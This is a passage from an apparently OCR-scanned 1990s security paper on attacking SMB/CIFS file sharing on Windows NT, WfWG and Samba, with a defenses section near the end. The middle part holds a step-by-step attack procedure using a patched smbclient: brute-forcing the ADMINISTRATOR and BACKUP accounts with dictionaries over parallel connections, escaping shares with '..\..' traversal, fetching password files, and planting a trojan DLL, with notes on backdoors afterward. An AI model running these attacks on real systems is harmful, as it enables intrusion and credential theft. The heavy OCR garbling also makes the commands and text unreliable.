can be configured such that they can only log in fromcertain naned clients,
but not only can the client send an arbitrary caller nanme, it turns out that
using either a null name or even a single space handily bypasses this silly
restriction and allows the |ogin anyway.

NT has the capability to "lock out" accounts after some number of failed |ogin
attenpts. Wiile there is no specific error to indicate this, it is quite easy
to renotely deternine [at |east against NT 4.0 with non-pernmanent user | ockout
policy] when a tenmporary account |ockout happens. Any failed |ogin usually
causes the server to delay for 2 or 3 seconds before sending the SMB "access
deni ed" error, to slow down brute-force attacks. Attenpts on a valid usernane
will elicit these delayed responses until the | ockout threshold is reached

and then suddenly there is NO del ay anynore and subsequent guesses on the

same usernane are denied i mediately! |f account |ockout is enabled, the
default threshold is between 5 and 10 tries and the |l ockout tine is 30

m nutes. Therefore in nost cases it doesn't take very long to nake the

| ockout perceptibly happen

If attenpts on one known-to-exist username triggers login-failure | ockout but
anot her one does not, chances are that the second one is the adm nistrator
account. Conversely, if attenpts on ADM NI STRATOR trigger |ockout, it is
probably a decoy and the real one has been renaned. Lockout does not apply
to the adnmnistrative account, with the ostensible idea being prevention of
*total * denial of service attacks. This |eaves ADM Nl STRATOR or the

equi val ent accountnane open to unlimted guessing. Even the access-denied
del ay can be effectively bypassed. The delay is inmposed per TCP connection
so by opening up 10 connections and pounding in different sets of passwords
an attacker gets a tenfold increase in brute-force speed. Such an attack
probably occupies significant server CPU tinme since not only does the event

| oggi ng go crazy, but each plaintext guess nust be re-hashed on the *server*
side for conparison against the stored OANF. A workaround soneti nes suggest ed
to conmbat this is an obscure registry setting that causes the whole server to
shut down when the event log fills, but that just allows an even worse denia
of service.

Phase 4: | PC Tree connect

Now that we are | ogged in, we can begin exploring what resources the target
has to offer. A "tree connect" traditionally inplies a directory tree in a
filesystem but in SMB there is special type of shared resource referred to as
a naned pipe or IPC -- familiar terms to Unix people. Tree connect is
sonetines also called StartConnection or TCon. A tree connect is perfornmed to
access any resource, be it a filesystem a printer, or a naned pipe. Pipes
provide a nmeans for exchanging "APlI calls" of various types between client and
server, and besides mentioning a couple of specific APl types this docunent
does not cover themin any further detail. Besides, according to CIFS the
newer [and M crosoft-originated, rather than third-party?] RPC facility is

the recommended interface for such things, inplying that the named-pi pe API
may eventual |y be phased out. Nonetheless the current interface to get

i nfornmati on about the server is still a naned-pipe transaction, so in this



case we need to do an IPC tree connect to obtain the server’s "share list" and
di scover what *other* things we can connect to.

There is a field in this SMB for a password, which is used if needed for
accessing filesystenms on share-level servers. The IPC tree connect we need
here should not require a password, but there may be odd cases or other types
that do. The other fields contain the service type and nane which in this
specific case are the two strings "IPC' and "\\SERVER\ | PC$". There is an AndX

formof this SMB so nore requests can be chained onto it -- often used for
qui ck one-off requests such as getting share lists. Sonetines the tree
connect itself is tacked on to the SMB session setup as the AndX request. In

general if a given phase doesn’t appear by itself in a packet dunp, check for
an AndX in the previous request. For exanple, session setup returning with a
nonzero TID probably resulted from sending the setup and TCon as one big SMB

The Mcrosoft "net view \\servernanme" conmand shoul d show t he share-1list of
the target, EXCEPT for any "hidden" sharenames that end with "$" per the
stupid client-side design. [This is described below.] If no existing TCP
session is established yet, "net view' will behind the scenes go through al
the SMB steps needed to get to this point. W can usually see any and al
shares with snbclient, where we specify "-L servername” to list themand sone
other info such as browse |ists of neighboring nmachines. These lists are al
gotten via APl transactions of various sorts with the well-known standard

"\ Pl PE\ LANMAN' service -- possibly because LANMAN 1 was the first dialect to
support naned pipes at all. This a black box in the scope of this docunent
but suffice to say it involves wacky strings like "WLehDO' and "B16BBDz"

pl ugged into SMB "Trans" requests. Sonme but not nearly all of this is
docunented in ClFS.

A successful tree connect response fills in a two-byte SMB header field called
the tree-IDor TID. This is another arbitrary cookie that the client nust
send back in with any subsequent interactions with the resource in question
A client can have nore than one active TID at a time. Once the IPCTID is
established, 1/Oto the naned pi pe can begin. After any successful TCon, the
TCP connection should remain open even if there is no subsequent SMB activity
for a while. CIFS states that correct server behavior is that it should only
time out truly inactive client connections, where "inactive" is apparently
defined as having no current tree connections and not sendi ng any SMB
requests, but nost servers seemto eventually knock down connections with

or without active TIDs anyway.

Errors here are many and varied, and again interpret_error helps us figure
out what is going on. 1In user-level security "access deni ed" neans that the
tree connect was attenpted without the necessary prior authentication from
Sessi onSet upAndX, and in share-level may sinply mean the wong share password
was given. "Bad password" is nore conmon in the |latter case. Another conmpn
error is "invalid network nane" froman attenpt to connect to sone resource
that the server doesn’t have. Sanba issues server-class "access denied" if
its IP-level allow deny configuration disallows a service TCon. For the npst
part if any errors other than those just described are returned froman |PC
TCon, we are probably in a fairly hopeless state and should start over.

Sone old clients cannot do user-level security, so the CIFS spec optionally
all ows for backward conpatibility by having the server assune that the calling
nane of a client machine is also the username for session setup purposes.

If the caller nane maps to a known username and that user’s correct password
is supplied as a share password in a TCon, an inplicit user login is perforned
and Set upAndX can be skipped. NT and possibly other user-level M crosoft
servers don’t seemto conply with this, handing back "bad U D' errors for
other SMB requests until a real session setup is conpleted. Sanba supports it
by building an internal concept of the "potential user" of a given connection



and checking if various nanes and SMB paraneters from previ ous phases are
val i d usernanes and passwords. This does not necessarily inmply protoco
weakness or that SetupAndX shoul d be skipped if possible -- Sanba does npst
of its logging at TCon tine, for exanple. Besides, changing the attenpted
usernane in this scenario requires a new client connection with a different
caller nane. Cenerally if a server specifies user-level security then any
brute-force attack should be perforned at the setup phase.

Sone servers deny certain kinds of APl calls based on the rights of the user
login; in particular, giving NT both a null usernane *and* password allows a
session setup but is recorded [if at all] as an "anonynous" |ogin rather than
QUEST, and seens to deny viewing the share list and server info but allow
viewing the browse list. This is likely intentional, since clients need

to make such periodic quick connections to naster browsers to collect nore
"networ k nei ghborhood" info. [See Samba’s "nmbsync" utility for an exanple.]
To clarify somewhat, a *share* list is equivalent to the exported fil esystens
on the target server, and a *browse* |ist contains names of nei ghboring
conputers. This can easily be confused, especially where snbclient’s routine

to list server shares is still called browse_host! Again, a server with a
browse |list often can be address-queried for each of the listed names to find
nore targets. |If we can dunp the share list, this inforns us what fil esystem

shares we might be able to start fooling with in the next phase.

Phase 5: Fil eshare tree connect

This is the sane as any other tree connect except that the service type
becomes "A:" to mean "disk" [go figure...] and we connect to "\\SERVER FOO'
where FOO is the sharenane. Fileshares generally begin at a subdirectory
sonmewhere in the local disk, and their nanmes are usually unrelated to the
subdi rectory path. Sharenanes are chosen by human adm nistrators, which al ong
with the optional comment fields visible in the share list might at |east hint
at what they enconpass. A mounted share nakes the subdirectory and everything
fromthere downward visible to a client across the network.

This phase is reached via successful conpletion of the client comrmands nost
famliar to users. Usernames and passwords from di al ogs or conmand-1ine
argunents are supplied where needed. Doing "Net use * \\SERVER SHARE" makes a
M crosoft client try contacting SERVER, nount the naned SHARE, and assign the
next free drive letter to it. "Snbclient \\\\SERVER \ SHARE" with optiona
argunents is roughly equival ent, although the nount is only per-process and is
di sconnect ed when snbclient exits.

A new TID is returned on success, which thereafter nust appear in every SMB
header that refers to this nmount. Al npbst all servers inplenment a distinction
bet ween read-only access to a fileshare and read-wite. WWGs and ot her
share-| evel servers often provide for two possible passwords, one of which
allows witing to the share. User-level servers usually ignore any supplied
TCon password and presunably assign access rights based on the connecting
user. NT of course has its slew of user privileges and ACLs on files and
directories -- the much-ballyhooed hol dovers fromVMS. Sanba primarily relies
on Unix file perm ssions, madly swapping its effective unix UD around to

mat ch that of correspondi ng SMB user session before trying to access files.
Sanba al so i nposes several restrictions on "guest" sessions, such as not
being able to wite anything. There doesn’'t seemto be any clean way of
determining a renote session’s access rights other than trying to perform
various operations. Retrieving a directory or file obviously indicates
successful read access, and a sinple |lowinpact way to check for wite access
istotry creating and then deleting a new directory. At first this al
sounds reasonably secure if the surrounding U D and TID checking is sound,

but there are still a few problens with the fundanental design.



Most of the possible errors fromthis step have al ready been nentioned.
"Access deni ed" or "bad password" nmean the obvious in user or share |evel
security nodes; NT sends the fornmer if a regular user tries to connect to any
of the special C$ or ADM N$ type of shares described below. Share-Ievel
servers usually allow unlimted guesses at share passwords, and deliberate
del ays for incorrect passwords are al nost unheard of here. Thus they are not
only open to the same types of brute-force attacks over the network, such

attacks can proceed al nost at the speed of the intervening wire. |f the
guesses conme in too fast sone servers can't handle it and just belly-up --
WFWG i s one exanmple -- and it is often necessary to throttle back the guessing

rate just to get all the way through a dictionary.

M crosoft clients seemto treat any resource name ending with "$" as "hi dden"
and it is even docurmented that while such fil eshare nanes won’t show up
during browsing, they are available to soneone who "knows the nane." In

nost cases snbclient will gladly show us all the hidden shares on a server
regardl ess, since once again any such concealnment is up to the client side.
Interestingly, "IPC$" also falls into this class. NI alnost always sets up a
predefi ned set of hidden administrative "default" shares, naned "C$" for the
whole C drive, "D$" for the whole D drive if present, and "ADM N$" or perhaps
"W NNT$" pointing into the top of the systemdirectory. Wile visible via
snbclient, TCons to them by anything other than an adm nistrator login are
general |y denied but are always worth trying anyway. As nentioned in severa
NT security texts these sharenanes are automatically set up at every reboot,
making it likely that a cracked adninistrator password gives carte bl anche
access to the entire machine.

Once a fileshare tree connection has been made, nornal network-fil esystem
I/Ois possible using more SMBs to read and wite files, search directories,
get and set attributes, do exclusive |ocks, or whatever. This is why SMBs
can be large -- for efficiency, since data read or witten occupies the

buf fer portion of the blocks. As in NFS, there is no concept of the current
directory except in the client, which nust construct and send a full pathnane
along with the right TID for every file reference. Despite the spec stating
that having any active tree connect should di sable server tineouts, nost
clients periodically send sone kind of null SMB to keep things warm-- either
a SMB echo or, in the case of Samba, a status check of the root directory.
The opposite of TCon is an SMB called Tree Disconnect or TDi's, which tears
down an existing TCon and invalidates the TID. The transport connection
remai ns open for sone tinme afterward, during which other SMBs including a new
TCon can be issued. Miltiple tree connects can be currently active, such as
an open fileshare or two and a quick IPC to get an updated browse list or
sonet hi ng.

The ability to make several arbitrary fileshare tree connects has an
interesting side effect against Sanba servers, which conmonly nake user homne
directories available as the special [HOVES] share. Where this share points
to changes dynamically if it matches an existing Unix user, and by default

the usernanme to authenticate against is taken fromthe sharename unl ess

a different one is specified, say with "snbclient -U'. Thus a TCon to
"\\servernane\user" nakes just the user’s honme directory and downward visi bl e.
However, under nmany Sanba configurations a TCon to the nane of sone account
whose hone directory is "/" allows the client to view the server’'s entire
filesystem Therefore one can user-level authenticate as "joe" but then TCon
to "root" or "bin" and explore the whole nmachine, albeit only as joe’'s Unix
UD. This also works agai nst a share-|evel Sanba, since we can either perform
user-level setup regardless or use the "inplied user" client-nane feature and
ask for the different user’'s sharenane. A potentially worse side effect is
that a TCon to the "sharename" of a user that does not exist returns "network
nane not found", while connecting to one that *does* exist either works or
returns "access deni ed" dependi ng on whether the client is in as a real user



or a guest. Regardless of TCon success or failure, the extant ones al so start
getting added to the visible share list for that client connection! This
allows a client to scan for valid usernanmes even if only logged in as a guest,
al beit at the risk of being extensively |logged. A bunch of blind TCon
attenpts can be nmade and the Sanba server conveniently collects the locally
valid usernanes into a viewable |ist.

M crosoft servers are not imune to such ganmes either, since nost M crosoft
clients make a single TCP connection and rely on the UD and integrity of the
network | ayer to keep user rights separated. Once a UDis valid across a
given TCP session, it can be used to nmount and nmess with pretty nuch any ot her
shares the server offers. The couple of known exceptions are the special NT
adm n shares and Sanmba’s guest restrictions. As CIFS support is devel oped for
other platforns, the sane is likely to be true there too. Some new Uni x
variants already have an SMB network fileystem kernel driver. Unfortunately
servers are required by the spec to place entirely too much trust in client
machi nes. For exanple, a share nounted by one particular user tends to stick
around unl ess specifically disconnected, and thus may be avail able to another
user who logs in later even if the new user normally has no account or access
rights on the *server*. A client could be conprom sed or network traffic
spoofed to send requests with an altered UD. It is also not entirely clear
how "i sol ated" the TCP connections really are fromeach ot her, suggesting that
nmessing around with U D/ TI D conbi nations mght turn up a few surprises. The
server sinply expects every client to behave itself.

This was really driven honme by the discovery of the now well known "dotdot"
bugs. Since nost filename parsing and cleanup is left to the client, it was
found that smbclient could send requests containing fil enanes of the form
"..\..\CONFI G SYS" to easily escape the confines of the share. Mcrosoft’s

of ficial excuse for this was that Sanba is an "illegal client" and shoul dn't
be used, but nonethel ess rel eased service packs with a couple of pathnane

enf orcenent bandai ds sl apped on to the server code. Sanba itself didn't fal
victimto this because its Unix-savvy inplenentors already knew |l ong since to
check for ".." and such in pathnanes! Part of the patch kit short circuits
dos_cl ean_nane() to return wi thout touching the given pathname, allow ng us
nore freedomto send arbitrary file paths and explore bugs of this sort. This
is not an automated test; one nmust play and exanine sonme directories to figure
out whether a bug is being tickled or not. A fairly reliable way to autonate
such a check is to examine the first entries in directory listings of "\" and
"..\" and conpare file attributes; if they are different then sonething is not
quite right. There nay be sone other funky path formats that servers handl e
badly; earlier versions of NT would even crash when asked for various bogus
pat hnames. There are some SMB flags to indicate support for long fil enanes,
whi ch may confuse servers if changed in mdstreamor set under a dialect that
isn't supposed to support them

Launchi ng the attack

The precedi ng explanation has not really detailed the specific real-world
steps needed to inplenent an attack. Here we try and pull it all together
Parameters that will vary are represented {thus}.

The attack engine is built from Sanba 1.9.15p8, using the instructions and
patches given in Appendix B. You will also need sonme password dictionaries,
whi ch are avail able from nunmerous repositories. |If you have read this far
it seens likely that you can handle this part.

Scan the target network for NetBl OS-aware hosts to build a |list of hostnames
and | P addresses, perhaps trying a status query to a couple of themto check
for packet filtering. The rest of this sumarizes probing an individua



target, whose hostnane or |P address is hereafter represented by {ip}.
If a known scope IDis in use, add "-i {scopenane}" to all nnbl ookup and
snbclient commands.

Get the target’s nanelist, using the "*" status query and sone type-0 nane
guesses if "*" doesn't work. Directed broadcast to x.y.z.255 nay be useful in
rare cases if one is able to receive all possible responses sonehow, note al so
that the broadcast address nmay not be .255 for many subnets.

nmbl ookup -B {ip} -S \*
nmbl ookup -B {ip} -S {dns-nane}
nmbl ookup -B {ip} -S WORKGROUP#0

If a machi ne sporting the _ MSBROASE _ nane is discovered, concentrate on that
one since it potentially has a browse-list and information about its network
nei ghbors. Plug the returned type-0x20 nane in and get a share listing. Use
an informative debug | evel, avoid using NT LMdial ect, hide various client
info, and try some standard usernanes and any type-0x3 nanes observed al ong
the way. Many targets will accept a null password, but if a real one is
needed nmake sone basi c guesses such as the conputernanme or usernane. The
hacked client accepts passwords fromstandard input until it gets in, gets
interrupted, or hits ECF

" " -m LANVANZ -U ADM NI STRATOR

snbelient -L {TARGET} -1 {ip} -d 3 -n
-1 {ip} -d 3 -n" " -mLANVANZ2 -U ""

snbclient -L { TARGET}

For the hard cases, pick a username or sharenane that is likely to exist, and

| evel a conmon-password dictionary file at it. |f you have not enabled the
UPPERCASE option, arrange to uppercase the dictionary first since success is
nore |ikely. Debug level O nakes it run silently until it gets in or exhausts

the dictionary. To test for invalid password del ays, use a higher debug |evel
and nmanual |y observe the timng. A sudden speedup in access errors probably

i ndi cates account |ockout and that further attenpts on that account won't be
useful for at |east another half an hour or so.

snbeclient -L {TARGET} -1 {ip} -d O -n " " -m LANVAN2 \
-U BACKUP < dictfile

Try connecting to the shares on an accessible target, testing for read/wite
access, and exercising bugs.

snbclient \W\\\TARGET\\ SNAME -n TRUSTME - m LANMVAN2 - U JOEUSER -1 {i p}
smb: \> dir

snb: \'> nd test

smb: \> rd test

snmb: \> cd ..

snb: \..\>dir

snmb: \..\>cd \..\..

smb: \..\.. \>dir

snb: \..\..\> get config.sys -

snb: \..\..\> cd w ndows

snb: \..\..\w ndows\> get joeuser.pw

snb: \..\..\wi ndows\> put trojan.dl |l w nsock.dl

For the *really* hard cases that inpose bad-password del ays but all ow nany
attenpts such as NT adm nistrator accounts, split up [and optionally convert
to uppercase] a large dictionary and use the nulti-connection hack. A
convenient way to run it is inside "script", to record the details from any
process that successfully logs in

script logfile



set DOT = "snbclient -L {TARGET} -1 x.y.z.q -d 0 -n " " \
-m LANMANL - U ADM NI STRATCR"
$DOT < splitdict.1 &
$DOT < splitdict.2 &
$DAT < splitdict.3 &
$DAOT < splitdict.4 &
etc, up to 10 or however nany concurrent ones it can handle ..

Collect the results, wite the report, subnmt the invoice..

VWhere do we go fromhere? |If adninistrator-level access is gained the
possibilities are endless -- an account cracked during an attack is the sane
credential needed for renote mai ntenance and registry editing, to instal
hacked web pages and DLLs and drivers, nodify startup files to run backdoor
daenons, or just weak havoc. Access as a regular user or even guest may
permit such ganes as well. |If the NT GUEST login is enabled, on nost servers
it gets nore privileges than needed unl ess configured ot herw se. Even

read/ write guest access to /tnp on a Sanba server may be dangerous if its
shel | users run any of hundreds of utilities that bounce critical data in and
out of /tnp files. This docunent does not address problens in other services
such as FTP and Wb since they are exhaustively explored in other documents,
but one should still consider the potential effects of concerted attacks on

t hose services *and* SMB toget her

Intruders are already scanning routinely across the custonmer networks of

| arge |1 SPs, |ooking for vulnerable home PCs with technically illiterate
owners and factory-default setups. The notoriously weak .PW. files are a
popul ar target, and woe betide those who use themto store worki ng passwords
for other services. The cable-TV nodem systens now com ng online function
just like bridged ethernets, freely allow ng | ocal broadcasts and ot her
shenani gans, which can turn your next door neighbor into an unintentiona
intruder as his '95 box literally explores its "network neighborhood". If you
aren’t scared yet, consider this scenario: You spend a day at hone doi ng work
via tel ecommuting. Your conpany is both frugal and security-aware, and has
provi ded secure connectivity tools that you can use with your regul ar persona
| SP account to access corporate files behind the firewalls. You inadvertantly
left filesharing "tenporarily" turned on from something you were doing two
days ago. While you are happily SSH i ng away, soneone breaks into your
machi ne via SMB and wi t hout your know edge, sensitive conpany files and

your personal finance records are stolen, viruses planted, and your secure
connection apps conmprom sed. Next time you use your SSH client, it quietly
spills its internal beans over the net to a stolen ACL account and within ten
m nutes your internal corporate network is overrun. Since it appears that
your access credentials were involved, YOU nmay be held accountable. But you
didn’t do anything, and were always careful with your passwords! A simlar
scenario could easily occur with corporate |aptops used to "get hone" from
conferences and trade shows, which could still be a problemeven if your

| aptop is reasonably secure but the one belonging to the guy *next* to you is
conprom sed! Think about it...

The rest of this section wanders into a |arge area of bl ue-sky | oose ends that
in large part outlines the limts of the author’s current know edge. Answers
to many of these may already be known, and if not then much is certainly |eft
for those with the time and inclination to explore and think over. Anyone is
free to send informati on concerning any of these, as well as the inevitably
needed corrections to other parts of this docunent.

W ndows cracking tools are already starting to appear. At |east one password-



snarfing DLL is in the works for NI, as are security-targeted registry editors
and NTFS tools. Daenbns to |isten on network ports and start backdoor command
shel | s probably exist already, and if nothing else there are shareware "inetd"
and tel net-server equivalents available now Do not ask nme where to get these
t hi ngs, because | have no clue. Pointers, on the other hand, are always

wel cone.

The \ PI PE\ LANVAN service is only one of several naned-pipe services. The
renote registry editor starts up a new | PC TCon and opens "\ PI PE\wi nreg" to do
its dirty. Another service type seens to be called \ MAILSLOT\{vari ous-things}
and shows up in browsing-related UDP traffic. Domain |ogons try to |ocate
services such as \NET\ NETLOGON and \ NET\ GETDC450, nostly via broadcast UDP
There may be many undocunented services and APl calls within either class,

rem nding us that Mcrosoft historically likes to hide ill-considered or

i nsecure functionality there and count on obscurity to resist attack. There
are also the fledgling DCE/ RPC services which apparently are intended to phase
out named pi pes as the recomended transaction backend and clearly present

a whol e "nother swanp to explore. |If it is running, sone part of RPCis
reachable via TCP port 135. It seens likely that sone of these services

can be accessed even if the file/printer sharing checkbox is NOT enabl ed.

Anyone who runs vanilla SMB over the open Internet is crazy, no matter how
good their backend server security is. The protocol runs in the clear, and is
thus just as vulnerable to TCP spoofing and hijacking as any other cleartext
session. Al it takes is one properly constructed SMB packet to make an

exi sting authenticated session do sonething nasty or blow open a big hole

that an attacker can enter through, and it doesn't even nmatter what the

server response is or howthe real client handles it -- the damage is done.
There are already known man-in-the-niddl e attacks agai nst the authentication
protocol. Various SMB header fields are only 16 bits, and in addition have

been observed to be *very* predictable especially fromrelatively inactive
servers. For instance, Sanmba uses the user’s own U D for its SMB U D

and TIDs froma quiet server vary little if at all. NI seens to rather
consistently assign 2048 for both initial U Ds and TlIDs, and increnents by
either 1 or 2048 for new connections. This suggests that blind TCP spoofing
attacks may nonet hel ess be effective even if an attacker cannot observe an
exi sting session.

One type of TCP attack invol ves "desynchronizing" an existing session between
two hosts and taking over the connection. As Laurent Joncheray’s paper on the
subj ect points out, such an attack is aided by the application protocol in
guesti on having sone el ement that sends data through the TCP stream but causes
no change in the state of the application itself. An exanple is telnet
options -- a telnet client can send any nunber of "do echo" conmands and the
end user would never be the wiser. An attacker uses this type of "null data"
to push the TCP sequences out of each endpoint’s wi ndows, with the only side
ef fect being an "ack war" between the hosts as they desperately try to resync,
and eventual ly the attacker controls the whole connection. SMB has both an
echo and a session keepalive nessage, and it is likely that these could al so
be used in a user-undetectabl e desync attack

VWi | e separate TCP SMB sessions are supposed to be conpletely isolated from
each other, there is always a possibility that a server inplenmentation could
"l eak" or get them confused sonehow. Servers generally run as a single
process and nanage several client connections internally, but how exactly
does a given one internally reference the paraneters associated with each?
The concept of "U D scanni ng" has been suggested, and while | personally have
ny doubts about it there are still other various SMB fields to consider. W
shoul d not discount for one nonent a server giving too nmuch credence to
client-settabl e header paranmeters like UD, TID, PID, MD, and maybe even
source TCP ports. The twelve filler bytes in TCP SMBs becone relevant in



connectionl ess UDP node for sorting out session IDs, and it would be no
surprise at all if the right conbination of data there was able to, say,
reference an already existing TCP session. Mst server platfornms seem abl e
to talk concurrently via either transport type.

There nay be sone magic hidden in the calling client nane and/or the usernane
that the client passes in. Special user accounts of the form OTHERDOVAI N$ are
used in domain trust rel ationships, and recent Sanba servers that at |east
partially support domain |ogins have a snmall hook to not turn on the "guest"
bit for this type of user login. A fewremuining bits worth poking at could

i ncl ude weaknesses in the Mcrosoft IP stack itself, as well as how wel
various ill-formed service requests are handl ed. Sending random data to the
listening ports of various NT services such as RPC and DNS can apparently
cause themto wack out or crash, inplying that genuine security hol es may
lurk there as well. Snowing a site with bogus NVB nane-regi stration and
mast er browser election traffic could have many interesting effects on I oca
wor kstations. SMB clients nust conformwith a rather rigid request structure,
but what happens if one does not? Well-known vulnerabilities such as buffer
overflows and trust of user-nodifiable data keep recurring in recent network
code under numerous operating systems, and sonething as |arge and conpl ex as
NT or '95 is undoubtedly no exception

Besi des the oft-bel abored network | evel denial-of-service attacks possibl e,
there is also a potential attack witten right into the CIFS spec. It states
that if a server receives a new session transport connection froma given
client, it MAY assunme that a reboot occurred and summarily drop any old

exi sting connections with that client. Precisely what a "client" is in this
case is not well-defined, but inplies that it is sinply based on the clainmed
client nane. Only a lunatic would wite a server conformant with this, as it
woul d al | ow anyone to renotely knock down SMB sessions all day, and sensibly
enough, none of the platforns nentioned herein allow this sort of nonsense.
Most servers rely on keepalive tineouts and network-level errors to ferret out
dead client connections.

Def enses

It is entirely reasonable to nentally lunmp CIFS in the sane class as NFS, and
view the security aspects of both with equal skepticism It should be fairly
evident by now that this stuff is a real danger, and the happy kids in Rednond
aren’t going to be much help here. To their credit, they have provided a few
interesting bricks you can use when building your own walls and sone of these

are covered in detail in numerous books and FAQ. The transport protocol is
also fairly easy to handle with famliar |IP-level defense mechani sms, making
construction of that "layered defense" nore feasible. It is hoped that the

precedi ng bul k of this docunent has increased understandi ng how to probe
networks for renaining NetBl OS-rel ated weak spots.

Any text or FAQ on Wndows or NT security is a good starting point for things
to change, particularly on servers. These will detail basics |ike disabling
or renoving privileges from GUEST accounts, changi ng ADM NI STRATOR account
nanes and barring them from network | ogins, preventing renote registry
editing, turning off useless information-I|eaking services |ike nessaging,
reassi gni ng user and group privileges, configuring failed-1ogin |ockouts,
and di nki ng ACLs/ownerships on files and registry entries. Servers can be
equi pped with batch files to invoke "net share ??? /DELETE" and di sable
unnecessary default fileshares after a reboot. Centralized user nanagenent
via domain controllers may help mtigate sone adninistrative nightmares, and
strong user passwords are a mnust although often difficult to enforce.

An obvi ous perinmeter defense is packet filter rules in border routers to drop



traffic to TCP *and* UDP ports 135 thru 139. This prevents direct NetBlIGS and
RPC attacks fromthe outside, but nay not block a relayed proxy connection or
a curious insider. Policy my dictate that a few filtering "holes" be |eft
open for renmote coll aborators; such things should be configured as narrowy as
possi bl e, perhaps even down to specific host addresses, and policynmakers
shoul d understand that the data in these all owed connections can be stolen or
corrupted. Better would be an encrypting proxy relay or VPN of sone sort.

If packet filtering is not an option, as at many policy-inpaired sites, there
are still several worthwhil e neasures avail able that can hel p nake your

machi nes "invisible" fromthe outside. One is to use a scope ID. These are
addi ti onal components of conputernanes that M crosoft inconprehensibly
recommends NOT using but provides anyway. The stated purpose is to isolate
groups of machines fromeach other in a nore conplete way than using different
wor kgroups. Simlarly to using an obscure "domai nnane" under Unix YP, setting
all the machines at a site to use a non-obvi ous scope ID and keeping it a
secret within a site effectively provides a "site password.” Any NetBlI OsS
traffic, nane queries and session setup alike, must contain the exact sane
case-sensitive scope |ID or nane responses aren’'t sent and sessions are
rejected. Scopes are by no neans a panacea since they can | eak out via human
vectors, and an astute attacker who observes active listeners on TCP 139 but
cannot obtain nanme info or sessions nay conclude that a non-null scope IDis
in use and start trying to guess or social engineer for it. The scope is
easily viewed by doing "nbtstat -n" on a |ocal console, so beware of wandering
outsiders with itchy fingers. |If a site’s machines are set up with scope |Ds
by a small core group of maintainers who keep it to thenselves, the end users
are unlikely to even notice anything different unless they specifically | ook
in the settings or spot themin packet dunps.

Where to set the scope nane is often hidden in an obscure place. This is a
rough outline of where to find it on various platforns; RTFM for others:

WFWG [requires restart, and happily craps into various .IN files]:
run W NSETUP; Network settings / Drivers / M5 TCP/IP /| Setup /
Advanced / Scope |D text-box

WFWG al ternate, less frustrating:
edit SYSTEMIN and find [ NBT] section
add a line with "Scopel D = XYzZ"
note: can also add "LMHostFile = {path}" here to enabl e LVHOSTS

WO5 and NT [al so requires restart]:
Control panel / Network / Protocols / TCP/IP / Properties /
W NS Addresses / Scope |ID text-box near bottom

Sanba [takes effect during server run]:
start "snmbd" with "-i XYZ" to set the scope ID

M crosoft clients and servers use the scope ID exactly as given, but Sanba

al ways upper-cases it and nust be patched if a nixed-case one is to be used.
For conmpatibility, "nnbl oookup" in the attack kit needs a sinilar patch

al t hough "snbclient" itself for some reason doesn’'t nmess with the -i argument.
It is definitely weird that all the scope-handling hooks are already there in
Sanba, but not very clearly docunmented or listed in usage() nessages.

Anot her easy network-level sleaze is to not supply internal servers with a
default IP route to the internet, and nake sure they ignore |ICVWP redirects and
routing protocols. There is little reason a dedicated |ocal fileserver would
ever need to interact with anything offsite, and public services such as web
servers shoul d exist on different machi nes anyway. Packets may still reach
such "nonrout ed" machi nes fromthe outside, but they cannot send back and TCP



connection attenpts to themsinply tinme out. NT also seens to have sone

rudi mentary concept of its own IP packet filtering, said to offer little
versatility but may be worth investigating anyway [and TESTING i f configured!]
Dependi ng on | ocal policy, end-user nmachines will probably still need to talk
to the internet so enployees can waste tine surfing; a wise policy is that
their nmachines strictly remain clients and never offer any i nbound services.
Turning off the file and printer sharing checkboxes is the obvious first step
al t hough M crosoft stacks seemto always listen on the NetBIOS ports

regardl ess of these settings.

The internal protections on server shares are inportant, on both M crosoft

pl atforns and Samba alike. Placing public shares on separate drive partitions
reduces the potential damage from".." bugs, since Mcrosoft servers are
reasonably good about not letting shares cross fil esystemboundaries. |If file
ACLs and nodes are avail able, USE THEM so that any normal user [or a virus she
i nadvertantly runs] would never be able to wite to, say, directories full of
conmon systemutilities. Making entire shares read-only if possible is sound,
or if *soneone* needs to wite to them separate and cl osel y-hel d mai nenance
accounts should only own the files and not have any administrative privil eges.
VWil e the magi c [ hones] Sanba feature may be useful in some environments,
consider carefully if the arguably free-n-easy way it works may be too lax for
yours. A strategy worth considering is building a Sanba server with custom
get pwent () routines that dig base user entries out of a file other than

[ etc/ passwd, which nmakes a cracked fil esharing password consi derably | ess
useful against other daenpbns on the server nmachine.

The I ogging problemis a pain in the butt. Mst servers that |og anything
just save the calling client’s nanme, which is hardly useful since it can be
arbitrarily set. Running a separate network nmonitor on an unsw tched DVZ
segnent and | ooking for certain inbound traffic is one way to centrally cover
a notley assortnent of problematic nachines. Stock Mcrosoft platfornms sinmply
cannot log client I P addresses at all, a possible albeit |ane rationale being
that CIFS runs over several different kind of transports and they'd all have
to be acconodat ed sonehow. Sone kind of batch job to periodically wake up and
shapshot a "netstat -a" to a logfile may hel p detect attacks, or by now there
may be some third-party DLLs avail able that provide better |ogging and al arms.
Sanba deals nore closely with | P addresses but still makes the adm nistrator
jump through hoops to usefully log things. Under the default debug |evel of

1 only successful non-1PC tree connects are |ogged. The code al so includes
an | P-based access control module ripped right out of Wetse Venema's tcp

wr appers, and can be set up to deny tree connects fromall but known hosts
and subnets. The allow deny access control entries reside in |ib/snb.conf,
configured globally and/or per share entry, but they only apply to TCons and
have no effect on the underlying TCP connection itself. Using them may
nevert hel ess gain sone peace of mnd; see the docunentation for serving
suggestions. Supplying an "allow' entry and cranking the debug | evel up to

at least 2 will cause all TCon attenpts to be logged, along with a certain
gquantity of other noise. A small saving grace here is that Sanba by default
runs in *share* level, so an attack would take the formof repeated TCon
attenpts and cause lots of logging. This is still not sufficient with user

| evel security. User logins are also |ogged at debug level 2 but only with
the client computername, and one woul d have to group together many log entries
to reconstruct an attack footprint. The best way to deal with Samba woul d be
sonme mni nal changes to the server code, perhaps to getpeernane() on the
current network socket any tinme a login *or* TCon is attenpted and concisely

| og success or failure along with the client nane *and* | P address. Nnbd
could be changed to | og status queries at debug level 0 instead of 3, to help
war n about UDP nane-gathering probes even if the "no default route" sleaze or
scopes are in use. Sending security-critical logging to the syslog instead of
Sanba’ s default logfiles would bring it more in line with other daenbns and
maybe cause administrators to pay nore attention to it.



Sni de conmmrents

Al t hough a primary goal has been to point out weakness in the CIFS protocol
and specific inplenentations, backhanded conments have so far [with sone
difficulty] been kept to a minimum Readers who are easily upset by a certain
amount of vendor-bashi ng or other no-hol ds-barred dissing are encouraged to
skip this section, where we bunp up the nasty level. Wy? Because it needs
to be stated, partially with the hope of getting certain people to WAKE UP
